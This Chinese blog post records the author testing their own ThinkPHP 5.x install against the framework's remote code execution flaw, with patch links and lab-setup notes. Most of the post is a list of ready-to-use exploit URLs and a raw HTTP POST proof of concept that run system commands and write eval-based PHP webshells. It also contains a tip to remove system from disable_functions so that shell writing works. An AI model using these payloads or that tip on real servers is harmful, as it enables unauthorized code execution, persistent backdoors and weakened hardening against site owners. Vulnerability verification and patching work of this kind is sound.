验证自己的tp5漏洞 记录

手上有一个tp5.0.1*系统,正好验证是否修复了漏洞。

百度了一下:

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞
漏洞概述:

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞
1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。
漏洞版本:
5.0.0-5.0.23
< 5.1.31
5.2.x

安全版本
ThinkPHP 5.0系列 5.0.24
ThinkPHP 5.1系列 5.1.31

 

测试代码:

/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

将控制的url参数s=captcha,并post:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami


【写入】
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['pwd']);?>" > hello.php

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i


【5.1】


TP5.1.29
php 7.2.2
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

/index.php?s=/index/\think\request/cache&key=1|phpinfo

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

5.1.x、5.2.x
/
POST:a=system&b=whoami&_method=filter

 

poc,即可实现远程代码执行

POST /index.php?s=captcha HTTP/1.1
Host: 你的id
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: keep-alive
Upgrade-Insecure-Requests: 1
 
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
————————————————
版权声明:本文为CSDN博主「shadow_pedestrian」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_38807738/article/details/86777541

 

验证:

本地win7系统,phpstudy,php5.6.27

上面的代码各种测试,返回404:

System Error

App.php line 361

模块不存在:index

更换模块名为home:

/index.php?s=home/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

成功返回:

/index.php?s=home/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

 

修复:

升级tp5,或者修改代码

https://blog.thinkphp.cn/869075

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

ThinkPHP 小于5.0.24 远程代码执行高危漏洞 修复方案 https://blog.csdn.net/h2511425100/article/details/86350308 (没效果)

https://blog.csdn.net/dabao87/article/details/84966882

禁用掉eval函数等...

如果修复了,执行上面代码会提示:

 

 

遇到的问题:

 

在线漏洞搭建:https://github.com/vulnspy

利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,

或者本地 cd 到thinkphp目录,任意选择一个版本,然后使用容器docker-compose up -d

Vulhub ThinkPHP5.0.20 远程代码执行

URL: https://github.com/vulnspy/thinkphp-5.1.29
Fetching https://github.com/vulnspy/thinkphp-5.1.29/trunk/ size...
Total size: 1626067 Files number: 313
Downloading...
/README.md
/docker-compose.yml
...
/html/vendor
/html/vendor/.gitignore
Download done
Writing custom docker-compose.yml
Ready to start the project
Creating network "4051ee2627b311eab371aaaa001501f7_default" with the default driver
could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network
-e
up_fail
error

通过别人的链接跳转过去创建5.1的出了些问题

https://www.vsplate.com/?github=vulnspy/thinkphp-5.0.22

重新创建5.0.22的也没成,似乎是分配不到端口给我

 

 

 

linux+宝塔环境下写shell的时候:

Warning: system() has been disabled for security reasons】

该错误是由于服务器安全配置将system函数关闭了,编辑php.ini查找 disable_functions 将等号后面的 system 去掉即可。

https://blog.csdn.net/agoago_2009/article/details/8266942

 

 

 

更多:

https://blog.csdn.net/csacs/article/details/86668057

https://blog.csdn.net/qq_36711453/article/details/84977739

https://www.cnblogs.com/backlion/p/10106676.html

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值